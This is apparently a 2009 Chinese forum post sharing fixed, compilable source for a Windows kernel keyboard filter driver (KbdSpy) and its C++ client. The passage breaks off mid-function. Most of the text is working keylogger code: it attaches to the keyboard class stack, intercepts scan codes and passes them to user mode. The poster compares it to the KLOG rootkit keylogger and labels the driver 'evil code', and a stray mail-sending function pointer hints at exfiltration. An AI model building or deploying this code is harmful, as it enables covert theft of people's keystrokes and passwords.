-
-
[分享]完整的键盘过滤驱动代码
-
发表于: 2009-10-18 17:22 7766
-
不知什么原因从网下下来的匾译不能通过,于是花了些时日将其编译通过,
编译环境:kmdkit+masn32
测试截图如下:
修改:
一:
增加了一个dprintf 的宏,便于调试时观察, 可以关闭输出信息
二:
增加了KEY_DATA,KEY_DATA_ENTRY和三个IOCTL的定义
三:
主要对FillKeyData,,,CDO_DispatchDeviceControl 里面的代码进行了修改,
这个键盘过滤驱动较KLOG的优点如下:
一:
KLOG 中是每次截得一个KEY 就分配一个NPAGE,分配十几次之后,,机就会挂掉,而这个驱动里予先
申请了一个NPAGEasidelist 来保存得到的KEY,
二:
增加了FiDO_DispatchPower 对关机时power IRP 的处理,,不然就会BSOD
备:
驱动加载之后,要先发一个attach ,驱动才开始截取键盘消息,,,卸载时用dettach
app代码很简单,完整驱动代码见附件
BLOG:http://numega.cn/twister
(欢迎和大家交流驱动方面的东东;))
app代码:
#include "stdafx.h"
#include "windows.h"
#include<crtdbg.h>
#include "winioctl.h"
typedef bool (*pfn_asp_send_mail)(char * httpaddr,char * name,char *pass);
extern "C" __declspec(dllexport) void getaddr(void )
{
return ;
}
////////////////////////////////////////////////////////////////////////////
// SCAN CODE MAP - For the purposes of this driver, the only keys
// that will be logged are the alphabetical keys, the numeric keys,
// and the special characters (ie. #,$,%,ect). Keys like, "ENTER",
// "SHIFT", "ESC", ect will filtered out and not be logged out to the file.
////////////////////////////////////////////////////////////////////////////
#define INVALID 0X00 //scan code not supported by this driver
#define SPACE 0X01 //space bar
#define ENTER 0X02 //enter key
#define LSHIFT 0x03 //left shift key
#define RSHIFT 0x04 //right shift key
#define CTRL 0x05 //control key
#define ALT 0x06 //alt key
char KeyMap[84] = {
INVALID, //0
INVALID, //1
'1', //2
'2', //3
'3', //4
'4', //5
'5', //6
'6', //7
'7', //8
'8', //9
'9', //A
'0', //B
'-', //C
'=', //D
INVALID, //E
INVALID, //F
'q', //10
'w', //11
'e', //12
'r', //13
't', //14
'y', //15
'u', //16
'i', //17
'o', //18
'p', //19
'[', //1A
']', //1B
ENTER, //1C
CTRL, //1D
'a', //1E
's', //1F
'd', //20
'f', //21
'g', //22
'h', //23
'j', //24
'k', //25
'l', //26
';', //27
'\'', //28
'`', //29
LSHIFT, //2A
'\\', //2B
'z', //2C
'x', //2D
'c', //2E
'v', //2F
'b', //30
'n', //31
'm' , //32
',', //33
'.', //34
'/', //35
RSHIFT, //36
INVALID, //37
ALT, //38
SPACE, //39
INVALID, //3A
INVALID, //3B
INVALID, //3C
INVALID, //3D
INVALID, //3E
INVALID, //3F
INVALID, //40
INVALID, //41
INVALID, //42
INVALID, //43
INVALID, //44
INVALID, //45
INVALID, //46
'7', //47
'8', //48
'9', //49
INVALID, //4A
'4', //4B
'5', //4C
'6', //4D
INVALID, //4E
'1', //4F
'2', //50
'3', //51
'0', //52
};
//
// Define the various device type values. Note that values used by Microsoft
// Corporation are in the range 0-0x7FFF(32767), and 0x8000(32768)-0xFFFF(65535)
// are reserved for use by customers.
//
#define FILE_DEVICE_KLOG 0x8000
//
// Macro definition for defining IOCTL and FSCTL function control codes. Note
// that function codes 0-0x7FF(2047) are reserved for Microsoft Corporation,
// and 0x800(2048)-0xFFF(4095) are reserved for customers.
//
#define KLOG_IOCTL_BASE 0x800
//
// The device driver IOCTLs
//
#define CTL_CODE_KLOG(i) CTL_CODE(FILE_DEVICE_UNKNOWN , KLOG_IOCTL_BASE+i, METHOD_BUFFERED, FILE_ANY_ACCESS)
#define IOCTL_START CTL_CODE_KLOG(0)
#define IOCTL_STOP CTL_CODE_KLOG(1)
#define IOCTL_KEYBOARD_ATTACH CTL_CODE(FILE_DEVICE_UNKNOWN, 0x0800, METHOD_BUFFERED, FILE_ANY_ACCESS)
#define IOCTL_KEYBOARD_DETACH CTL_CODE(FILE_DEVICE_UNKNOWN, 0x0801, METHOD_BUFFERED, FILE_ANY_ACCESS)
#define IOCTL_GET_KEY_DATA CTL_CODE(FILE_DEVICE_UNKNOWN, 0x0802, METHOD_BUFFERED, FILE_ANY_ACCESS)
#define KLog_DEVICE_NAME_W L"\\Device\\KLog"
#define KLog_DOS_DEVICE_NAME_W L"\\DosDevices\\KLog"
/////////////////////////Struct/////////////////////////////////////////////
typedef struct _KEY_DATA
{
DWORD dwScanCode;
DWORD Flags;
}KEY_DATA ,* PKEY_DATA ;
KEY_DATA g_KEY_DATA[260];
DWORD nkd;
///////////////Global/////////////////////////////////////////////////////////
HANDLE evtHandle;
/********************************************************************************
* getlasterror message
*******************************************************************************/
LPCTSTR GetErrMsg(void)
{
DWORD dwErrCode;
LPCTSTR lpErrMsg;
dwErrCode = GetLastError();
FormatMessage(
FORMAT_MESSAGE_ALLOCATE_BUFFER|FORMAT_MESSAGE_FROM_SYSTEM,
(LPCVOID)NULL,
dwErrCode,
MAKELANGID( LANG_NEUTRAL, SUBLANG_NEUTRAL ),
(LPSTR)&lpErrMsg,
0,
NULL );
return lpErrMsg;
}
void GetKeyData()
{
dprintf("enter GetKeyData...\n");
//send a message to service
HANDLE h_Device=CreateFile("\\\\.\\KbdSpy",GENERIC_READ+GENERIC_WRITE,0,NULL,OPEN_EXISTING,0,NULL);
//ControlService(hService, IOCTL_HELLO_HELLO, &ss);
DWORD dwRet;
if(h_Device!=INVALID_HANDLE_VALUE)
{
if(!DeviceIoControl(h_Device, IOCTL_GET_KEY_DATA,
NULL,
0,
&g_KEY_DATA,
sizeof(g_KEY_DATA),
&dwRet,
NULL))
dprintf("DeviceIoControl IOCTL_GET_KEY_DATA failed...\n");
///
nkd=dwRet;
}
else
{
dprintf("can not open device\n");
dprintf("GetErrMsg=%s",GetErrMsg());
}
CloseHandle(h_Device);
}
void Keydoard_Attach()
{
dprintf("enter Keydoard_Attach...\n");
//send a message to service
HANDLE h_Device=CreateFile("\\\\.\\KbdSpy",GENERIC_READ+GENERIC_WRITE,0,NULL,OPEN_EXISTING,0,NULL);
//ControlService(hService, IOCTL_HELLO_HELLO, &ss);
DWORD dwRet;
evtHandle=CreateEvent(NULL,true,false,NULL);
if(h_Device!=INVALID_HANDLE_VALUE)
{
if(!DeviceIoControl(h_Device, IOCTL_KEYBOARD_ATTACH,
&evtHandle,
sizeof(HANDLE),
NULL,
0,
&dwRet,
NULL))
dprintf("DeviceIoControl IOCTL_KEYBOARD_ATTACH failed...\n");
}
else
{
dprintf("can not open device\n");
dprintf("GetErrMsg=%s",GetErrMsg());
}
CloseHandle(h_Device);
}
void Keydoard_Detach()
{
printf("enter Keydoard_Detach...\n");
//send a message to service
HANDLE h_Device=CreateFile("\\\\.\\KbdSpy",GENERIC_READ+GENERIC_WRITE,0,NULL,OPEN_EXISTING,0,NULL);
//ControlService(hService, IOCTL_HELLO_HELLO, &ss);
DWORD dwRet;
if(h_Device!=INVALID_HANDLE_VALUE)
{
if(!DeviceIoControl(h_Device, IOCTL_KEYBOARD_DETACH,
NULL,
0,
NULL,
0,
&dwRet,
NULL))
printf("DeviceIoControl IOCTL_START failed...\n");
}
else
{
printf("can not open device\n");
printf("GetErrMsg=%s",GetErrMsg());
}
CloseHandle(h_Device);
}
//int _tmain(int argc, _TCHAR* argv[])
//{
//
//Keydoard_Attach();
//int n=0;
//
//while(true)
//{
//if(WaitForSingleObject(evtHandle,INFINITE)==WAIT_OBJECT_0)
//{
//GetKeyData();
//
//printf("[%d] dwScanCode=%c,flags=%d,i=%d\n",n++,KeyMap[g_KEY_DATA.dwScanCode],g_KEY_DATA.Flags,nkd);
//
//}
//ResetEvent(evtHandle);//set nonsignal
////Sleep(1000);
//}
//
// getchar();
// return 0;
//}
//
驱动代码:
/////////////////////////////////////////////////evil code//////////////////////////////////////////
;@echo off
;goto make
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
;
; KbdSpy - This is an example of a simple legacy keyboard filter driver.
;
; WARNING: You will fail to attach to USB-keyboard stack
;
; We create two device objects. The first one is a control device. It provides
; the interface to our user-mode client. The second device is a filter device.
; It intercepts keyboard data being passed from the keyboard class driver.
; So, it is an upper filter. The intercepted data is collected in the list.
; Upon timer triggering we signal shared event object to notify our user-mode
; client about there is something interesting for it. The user-mode client
; issues control request and we copy all info into the buffer.
;
; Written by Four-F (four-f@mail.ru)
;
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
.486
.model flat, stdcall
option casemap:none
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
; I N C L U D E F I L E S
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
include \masm32\include\w2k\ntstatus.inc
include \masm32\include\w2k\ntddk.inc
include \masm32\include\w2k\ntoskrnl.inc
include \masm32\include\w2k\ntddkbd.inc
include \masm32\include\w2k\hal.inc
include \masm32\include\winioctl.inc ;///
includelib \masm32\lib\w2k\ntoskrnl.lib
includelib \masm32\lib\w2k\hal.lib
include \masm32\Macros\Strings.mac
include .\common.inc
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
; M A C R O S
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
; spin lock macros
LOCK_ACQUIRE MACRO lck:REQ
; Returns old IRQL in al
IF (OPATTR (lck)) AND 00010000y
;; Is a register value
IFDIFI <lck>, <ecx> ;; don't move ecx onto itself
mov ecx, lck
ENDIF
ELSEIF (OPATTR (lck)) AND 01000000y
;; relative to SS
lea ecx, lck
ELSE
mov ecx, offset lck
ENDIF
fastcall KfAcquireSpinLock, ecx
ENDM
LOCK_RELEASE MACRO lck:REQ, NewIrql:REQ
IF (OPATTR (lck)) AND 00010000y
;; Is a register value
IFDIFI <lck>, <ecx> ;; don't move ecx onto itself
mov ecx, lck
ENDIF
ELSEIF (OPATTR (lck)) AND 01000000y
;; relative to SS
lea ecx, lck
ELSE
mov ecx, offset lck
ENDIF
IFDIFI <NewIrql>, <dl> ;; don't move dl onto itself
mov dl, NewIrql
ENDIF
.if dl == DISPATCH_LEVEL
fastcall KefReleaseSpinLockFromDpcLevel, ecx
.else
and edx, 0FFh ;; for shure (KIRQL is BYTE)
fastcall KfReleaseSpinLock, ecx, edx
.endif
ENDM
; mutex macros
MUTEX_INIT MACRO mtx:REQ
IF (OPATTR (mtx)) AND 00010000y
;; Is a register value
invoke KeInitializeMutex, mtx, 0
ELSEIF (OPATTR (mtx)) AND 01000000y
;; relative to SS
invoke KeInitializeMutex, addr mtx, 0
ELSE
invoke KeInitializeMutex, offset mtx, 0
ENDIF
ENDM
MUTEX_ACQUIRE MACRO mtx:REQ
IF (OPATTR (mtx)) AND 00010000y
;; Is a register value
invoke KeWaitForMutexObject, mtx, Executive, KernelMode, FALSE, NULL
ELSEIF (OPATTR (mtx)) AND 01000000y
;; relative to SS
invoke KeWaitForMutexObject, addr mtx, Executive, KernelMode, FALSE, NULL
ELSE
invoke KeWaitForMutexObject, offset mtx, Executive, KernelMode, FALSE, NULL
ENDIF
ENDM
MUTEX_RELEASE MACRO mtx:REQ
IF (OPATTR (mtx)) AND 00010000y
;; Is a register value
invoke KeReleaseMutex, mtx, FALSE
ELSEIF (OPATTR (mtx)) AND 01000000y
;; relative to SS
invoke KeReleaseMutex, addr mtx, FALSE
ELSE
invoke KeReleaseMutex, offset mtx, FALSE
ENDIF
ENDM
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
; S T R U C T U R E S
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
;:::::::::::::::::::::::::::::::::::twister:::::::::::::::::::::::::::::::::::::::::::::::::::::::::
IOCTL_KEYBOARD_ATTACH equ CTL_CODE(FILE_DEVICE_UNKNOWN, 0800h, METHOD_BUFFERED, FILE_ANY_ACCESS)
IOCTL_KEYBOARD_DETACH equ CTL_CODE(FILE_DEVICE_UNKNOWN, 0801h, METHOD_BUFFERED, FILE_ANY_ACCESS)
IOCTL_GET_KEY_DATA equ CTL_CODE(FILE_DEVICE_UNKNOWN, 0802h, METHOD_BUFFERED, FILE_ANY_ACCESS)
KEY_DATA STRUCT
; ListEntry LIST_ENTRY
dwScanCode DWORD ?
Flags DWORD ?
KEY_DATA ENDS
PKEY_DATA typedef ptr KEY_DATA
KEY_DATA_ENTRY STRUCT
ListEntry LIST_ENTRY <> ; For memory blocks tracking.
KeyData KEY_DATA <>
KEY_DATA_ENTRY ENDS
;:::::::::::::::::::::::::::::::::::twister:::::::::::::::::::::::::::::::::::::::::::::::::::::::::
FiDO_DEVICE_EXTENSION STRUCT
; The top of the stack before this filter was added
pNextLowerDeviceObject PDEVICE_OBJECT ?
; The referenced pointer to file object that represents
; the corresponding device object. This pointer we get
; from IoGetDeviceObjectPointer and must dereference
; while detaching.
pTargetFileObject PFILE_OBJECT ?
FiDO_DEVICE_EXTENSION ENDS
PFiDO_DEVICE_EXTENSION typedef ptr FiDO_DEVICE_EXTENSION
CDO_DEVICE_EXTENSION STRUCT
g_fCDO_Opened BOOL ?
g_fFiDO_Attached BOOL ?
g_fSpy BOOL ?
CDO_DEVICE_EXTENSION ENDS
PCDO_DEVICE_EXTENSION typedef ptr CDO_DEVICE_EXTENSION
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
; R E A D O N L Y D A T A
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
.const
CCOUNTED_UNICODE_STRING "\\Device\\KbdSpy", g_usControlDeviceName, 4
CCOUNTED_UNICODE_STRING "\\DosDevices\\KbdSpy", g_usSymbolicLinkName, 4
CCOUNTED_UNICODE_STRING "\\Device\\KeyboardClass0", g_usTargetDeviceName, 4
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
; U N I N I T I A L I Z E D D A T A
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
.data?
g_pDriverObject PDRIVER_OBJECT ?
g_pControlDeviceObject PDEVICE_OBJECT ? ; Control Device Object pointer
g_pFilterDeviceObject PDEVICE_OBJECT ? ; Filter Device Object pointer
g_pEventObject PKEVENT ?
; This spin-lock let us be sure that no one will dereference event object pointer
; while we compare it agaist NULL and then call KeSetEvent in our completion routine
g_EventSpinLock KSPIN_LOCK ? ; locks key data list
g_fCDO_Opened BOOL ?
g_fFiDO_Attached BOOL ?
g_fSpy BOOL ?
g_dwPendingRequests DWORD ?
align 4
g_pKeyDataLookaside PNPAGED_LOOKASIDE_LIST ?
align 4
g_KeyDataListHead LIST_ENTRY <> ; accessed under lock
; Holds number of KEY_DATA_ENTRYs in list. Should not exceed MAX_KEY_DATA_ENTRIES.
g_cKeyDataEntries SDWORD ? ; accessed under lock
; This spin-lock let us be sure that only one thread is working with key data at a time
g_KeyDataSpinLock KSPIN_LOCK ?
; This mutex let us be sure no one will try to do some unpredictable things.
; For example: no one can try to attach while we in the middle of the detaching.
align 4
g_mtxCDO_State KMUTEX <>
g_KEY_DATA KEY_DATA <>
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
; C O D E
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
.code
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
; _ExAllocateFromNPagedLookasideList
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
_ExAllocateFromNPagedLookasideList proc uses esi Lookaside:PNPAGED_LOOKASIDE_LIST
;; Function Description:
;; This function removes (pops) the first entry from the specified
;; nonpaged lookaside list.
;;
;; Arguments:
;; Lookaside - Supplies a pointer to a nonpaged lookaside list structure.
;;
;; Return Value:
;; If an entry is removed from the specified lookaside list, then the
;; address of the entry is returned as the function value. Otherwise,
;; NULL is returned.
mov esi, Lookaside
assume esi:ptr NPAGED_LOOKASIDE_LIST
mov ecx, esi
inc [esi].L.TotalAllocates
lea edx, [esi]._Lock
fastcall ExInterlockedPopEntrySList, ecx, edx
.if eax == NULL
push [esi].L.Tag
inc [esi].L.AllocateMisses
push [esi].L._Size
push [esi].L._Type
call [esi].L.Allocate
.endif
assume esi:nothing
ret
_ExAllocateFromNPagedLookasideList endp
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
; _ExFreeToNPagedLookasideList
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
_ExFreeToNPagedLookasideList proc Lookaside:PNPAGED_LOOKASIDE_LIST, Entry:PVOID
;; Function Description:
;; This function inserts (pushes) the specified entry into the specified
;; nonpaged lookaside list.
;;
;; Arguments:
;; Lookaside - Supplies a pointer to a nonpaged lookaside list structure.
;; Entry - Supples a pointer to the entry that is inserted in the lookaside list.
;;
;; Return Value:
;; None.
mov ecx, Lookaside
assume ecx:ptr NPAGED_LOOKASIDE_LIST
inc [ecx].L.TotalFrees
mov ax, [ecx].L.ListHead.Depth
.if ax >= [ecx].L.Depth
push Entry
inc [ecx].L.FreeMisses
call [ecx].L.Free
.else
mov edx, Entry
lea eax, [ecx]._Lock
fastcall ExInterlockedPushEntrySList, ecx, edx, eax
.endif
assume ecx:nothing
ret
_ExFreeToNPagedLookasideList endp
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
; AddEntry
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
AddEntry proc uses ebx pKeyData:PKEY_DATA
; We have to access g_cKeyDataEntries and g_KeyDataListHead
; under lock protection. Since keyboard hits occur relatively rare
; we simply protect whole code. So, this proc may be optimized a little.
LOCK_ACQUIRE g_KeyDataSpinLock
mov bl, al ; old IRQL
.if g_cKeyDataEntries < 255 ; MAX_KEY_DATA_ENTRIES=255
; Allocate new entry from lookaside list
invoke _ExAllocateFromNPagedLookasideList, g_pKeyDataLookaside
.if eax != NULL
mov edx, eax
assume edx:ptr KEY_DATA_ENTRY
mov ecx, pKeyData
assume ecx:ptr KEY_DATA
mov eax, [ecx].dwScanCode
mov [edx].KeyData.dwScanCode, eax
mov eax, [ecx].Flags
mov [edx].KeyData.Flags, eax
assume ecx:nothing
; Add to head
lea ecx, [edx].ListEntry
InsertHeadList addr g_KeyDataListHead, ecx
assume edx:nothing
inc g_cKeyDataEntries
.endif
.endif
LOCK_RELEASE g_KeyDataSpinLock, bl
ret
AddEntry endp
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
; RemoveEntry
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
RemoveEntry proc uses ebx pBuffer:PVOID
local cbCopied:DWORD
and cbCopied, 0
; We have to access g_cKeyDataEntries and g_KeyDataListHead
; under lock protection. Since keyboard hits occur relatively rare
; we simply protect whole code. So, this proc may be optimized a little.
LOCK_ACQUIRE g_KeyDataSpinLock
mov bl, al ; old IRQL
IsListEmpty addr g_KeyDataListHead
.if eax != TRUE ; Is there something to remove?
; Remove from tail
RemoveTailList addr g_KeyDataListHead
mov edx, eax ; edx -> KEY_DATA_ENTRY.ListEntry
sub edx, KEY_DATA_ENTRY.ListEntry ; edx -> KEY_DATA_ENTRY ;why ??? sub , KEY_DATA_ENTRY.ListEntry is what
assume edx:ptr KEY_DATA_ENTRY
mov ecx, pBuffer
assume ecx:ptr KEY_DATA
mov eax, [edx].KeyData.dwScanCode
mov [ecx].dwScanCode, eax
mov eax, [edx].KeyData.Flags
mov [ecx].Flags, eax
mov cbCopied, sizeof KEY_DATA
assume ecx:nothing
assume edx:nothing
; Put a block back onto lookaside list
;
invoke _ExFreeToNPagedLookasideList, g_pKeyDataLookaside, edx
dec g_cKeyDataEntries
.endif
LOCK_RELEASE g_KeyDataSpinLock, bl
mov eax, cbCopied
ret
RemoveEntry endp
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
; KeyboardAttach
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
KeyboardAttach proc
local status:NTSTATUS
local pTargetDeviceObject:PDEVICE_OBJECT
local pTargetFileObject:PFILE_OBJECT
dprintf $CTA0("KbdSpy: Entering KeyboardAttach\n")
mov status, STATUS_UNSUCCESSFUL
.if ( g_pFilterDeviceObject != NULL )
; Filter device object exist and should be attached
mov status, STATUS_SUCCESS
.else
; Let's attach to keyboard device stack
;
; Create unnamed device because filter device objects should never be named.
; We are going to attach it to existing keyboard device stack. So no one may
; directly open filter device by name.
mov eax, g_pControlDeviceObject
mov ecx, (DEVICE_OBJECT PTR [eax]).DriverObject
invoke IoCreateDevice, ecx, sizeof FiDO_DEVICE_EXTENSION, NULL, \
FILE_DEVICE_UNKNOWN, 0, FALSE, addr g_pFilterDeviceObject
.if eax == STATUS_SUCCESS
; Supply a name for any device object in the stack we are about to attach to.
; IoGetDeviceObjectPointer returns the pointer to upper most device object in the stack.
invoke IoGetDeviceObjectPointer, addr g_usTargetDeviceName, FILE_READ_DATA, \
addr pTargetFileObject, addr pTargetDeviceObject
.if eax == STATUS_SUCCESS
; Here we have two pointers: pointer to the topmost device in the keyboard stack
; and pointer to the corresponding file object. IoGetDeviceObjectPointer
; references file object but not the device object.
;
; We are just one line from attaching to our target. We must prevent
; our driver from unloading while it intercepts keyboard IRPs.
; We could use RemoveLock, but the easiest solution is to remove pointer
; to DriverUnload routine from driver object. OK, let's do it.
mov eax, g_pDriverObject
and (DRIVER_OBJECT PTR [eax]).DriverUnload, NULL
; Now our driver is not unloadable
invoke IoAttachDeviceToDeviceStack, g_pFilterDeviceObject, pTargetDeviceObject
.if eax != NULL
mov edx, eax
; Fill filter device object extension
mov ecx, g_pFilterDeviceObject
mov eax, (DEVICE_OBJECT ptr [ecx]).DeviceExtension
assume eax:ptr FiDO_DEVICE_EXTENSION
mov [eax].pNextLowerDeviceObject, edx
push pTargetFileObject
pop [eax].pTargetFileObject
assume eax:nothing
; We need to copy DeviceType and Characteristics from the target device object
; underneath us to our filter device object. We also need to copy DO_DIRECT_IO,
; DO_BUFFERED_IO, and DO_POWER_PAGABLE flags. This guarantees that the filter
; device object looks the same as the target device object.
assume edx:ptr DEVICE_OBJECT
assume ecx:ptr DEVICE_OBJECT
mov eax, [edx].DeviceType
mov [ecx].DeviceType, eax
mov eax, [edx].Flags
and eax, DO_DIRECT_IO + DO_BUFFERED_IO + DO_POWER_PAGABLE
or [ecx].Flags, eax
; IoCreateDevice sets the DO_DEVICE_INITIALIZING flag in the device object.
; While this flag is set, the I/O Manager will refuse to attach other device
; objects to us or to open a handle to our device. So we have to clear
; this flag because now we are ready to filter.
;
; Note: It is not necessary to clear the DO_DEVICE_INITIALIZING flag on device
; objects that are created in DriverEntry, because this is done automatically
; by the I/O Manager.
and [ecx].Flags, not DO_DEVICE_INITIALIZING
assume edx:nothing
assume ecx:nothing
mov status, STATUS_SUCCESS
.else ; IoAttachDeviceToDeviceStack failed
; We have failed to attach
invoke ObDereferenceObject, pTargetFileObject
invoke IoDeleteDevice, g_pFilterDeviceObject
and g_pFilterDeviceObject, NULL
; Let the driver to be unloaded
mov eax, g_pDriverObject
mov (DRIVER_OBJECT PTR [eax]).DriverUnload, offset DriverUnload
dprintf $CTA0("KbdSpy: Couldn't attach to target device\n")
mov status, STATUS_NO_SUCH_DEVICE
.endif
.else ; IoGetDeviceObjectPointer failed
invoke IoDeleteDevice, g_pFilterDeviceObject
and g_pFilterDeviceObject, NULL
dprintf $CTA0("KbdSpy: Couldn't get target device object pointer\n")
.endif
.else
dprintf $CTA0("KbdSpy: Couldn't create filter device\n")
.endif
.endif
mov eax, status
ret
KeyboardAttach endp
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
; KeyboardDetach
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
KeyboardDetach proc
local status:NTSTATUS
local pTopmostDeviceObject:PDEVICE_OBJECT
dprintf $CTA0("KbdSpy: Entering KeyboardDetach\n")
mov status, STATUS_UNSUCCESSFUL
.if g_pFilterDeviceObject != NULL
; Lets see if there is someone above us.
; Temporary set the DO_DEVICE_INITIALIZING flag in filter device object.
; So no one can attach while we check the stack.
mov eax, g_pFilterDeviceObject
or (DEVICE_OBJECT ptr [eax]).Flags, DO_DEVICE_INITIALIZING
invoke IoGetAttachedDeviceReference, g_pFilterDeviceObject
mov pTopmostDeviceObject, eax
.if eax != g_pFilterDeviceObject
; Someone sits on the top of us. Do nothing except restoring
; Flags field in the filter device object
mov eax, g_pFilterDeviceObject
and (DEVICE_OBJECT ptr [eax]).Flags, not DO_DEVICE_INITIALIZING
dprintf $CTA0("KbdSpy: Couldn't detach. Someone sits over\n")
dprintf $CTA0("KbdSpy: Filter device is still attached\n")
.else
mov eax, g_pFilterDeviceObject
mov eax, (DEVICE_OBJECT ptr [eax]).DeviceExtension
mov ecx, (FiDO_DEVICE_EXTENSION ptr [eax]).pTargetFileObject
fastcall ObfDereferenceObject, ecx
mov eax, g_pFilterDeviceObject
mov eax, (DEVICE_OBJECT ptr [eax]).DeviceExtension
mov eax, (FiDO_DEVICE_EXTENSION ptr [eax]).pNextLowerDeviceObject
invoke IoDetachDevice, eax
mov status, STATUS_SUCCESS
dprintf $CTA0("KbdSpy: Filter device detached\n")
; Destroy filter device.
mov eax, g_pFilterDeviceObject
and g_pFilterDeviceObject, NULL
invoke IoDeleteDevice, eax
; Our driver is still not unloadable because we might have outstanding IRPs
.endif
; Dereference the device object pointer returned by IoGetAttachedDeviceReference
invoke ObDereferenceObject, pTopmostDeviceObject
.endif
mov eax, status
ret
KeyboardDetach endp
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
; FiDO_DispatchPassThrough
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
FiDO_DispatchPassThrough proc pDeviceObject:PDEVICE_OBJECT, pIrp:PIRP
; The default dispatch routine. Our driver should send down all IRPs it deal not with
IoSkipCurrentIrpStackLocation pIrp
mov eax, pDeviceObject
mov eax, (DEVICE_OBJECT ptr [eax]).DeviceExtension
mov eax, (FiDO_DEVICE_EXTENSION ptr [eax]).pNextLowerDeviceObject
invoke IoCallDriver, eax, pIrp
ret
FiDO_DispatchPassThrough endp
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
; CDO_DispatchCreate
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
CDO_DispatchCreate proc pDeviceObject:PDEVICE_OBJECT, pIrp:PIRP
local status:NTSTATUS
local KeyData:KEY_DATA
dprintf $CTA0("KbdSpy: Entering CDO_DispatchCreate\n")
; Drain g_KeyDataListHead. If someone have ran KbdSpy previously
; but have failed to unload the driver because of not pressing
; a key as recommended, we have at least one pending IRP. When
; someone press a kay this pending IRP is completed and our
; completion routine will add one entry into g_KeyDataListHead.
; So if it's not a first time we are being created we may have
; some entr(ies)y in g_KeyDataListHead from previous sessions.
; So lets throw them away.
;.while TRUE
;invoke RemoveEntry, addr KeyData
;.break .if eax == 0
;.endw
MUTEX_ACQUIRE g_mtxCDO_State
.if g_fCDO_Opened
; Only one client at a time is allowed
mov status, STATUS_DEVICE_BUSY
.else
; No one else may open control device
mov g_fCDO_Opened, TRUE
mov status, STATUS_SUCCESS
.endif
MUTEX_RELEASE g_mtxCDO_State
mov ecx, pIrp
and (_IRP PTR [ecx]).IoStatus.Information, 0
mov eax, status
mov (_IRP PTR [ecx]).IoStatus.Status, eax
fastcall IofCompleteRequest, ecx, IO_NO_INCREMENT
mov eax, status
ret
CDO_DispatchCreate endp
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
; CDO_DispatchClose
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
CDO_DispatchClose proc pDeviceObject:PDEVICE_OBJECT, pIrp:PIRP
local KeyData:KEY_DATA
dprintf $CTA0("KbdSpy: Entering CDO_DispatchClose\n")
; Do not set completion routine any more
.while TRUE
invoke RemoveEntry, addr KeyData
.break .if eax == 0
.endw
and g_fSpy, FALSE
MUTEX_ACQUIRE g_mtxCDO_State
.if ( g_pFilterDeviceObject == NULL )
.if g_dwPendingRequests == 0
; If we have datached from the keyboard stack, and there is
; no outstanding IRPs it's safe to unload.
mov eax, g_pDriverObject
mov (DRIVER_OBJECT PTR [eax]).DriverUnload, offset DriverUnload
.endif
.endif
; Someone else may open control device
and g_fCDO_Opened, FALSE
MUTEX_RELEASE g_mtxCDO_State
mov eax, STATUS_SUCCESS
mov ecx, pIrp
and (_IRP PTR [ecx]).IoStatus.Information, 0
mov (_IRP PTR [ecx]).IoStatus.Status, eax
push eax
fastcall IofCompleteRequest, ecx, IO_NO_INCREMENT
pop eax
ret
CDO_DispatchClose endp
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
; FillKeyData
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
FillKeyData proc uses edi ebx ecx edx pBuffer:PVOID, cbBuffer:DWORD
local KeyData:KEY_DATA
